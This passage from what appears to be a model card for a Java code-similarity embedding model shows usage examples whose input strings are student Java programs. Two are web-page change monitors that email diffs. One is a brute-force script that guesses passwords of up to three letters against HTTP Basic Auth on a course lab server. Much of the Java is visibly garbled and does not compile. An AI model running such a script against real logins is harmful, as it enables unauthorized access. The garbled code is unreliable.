catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
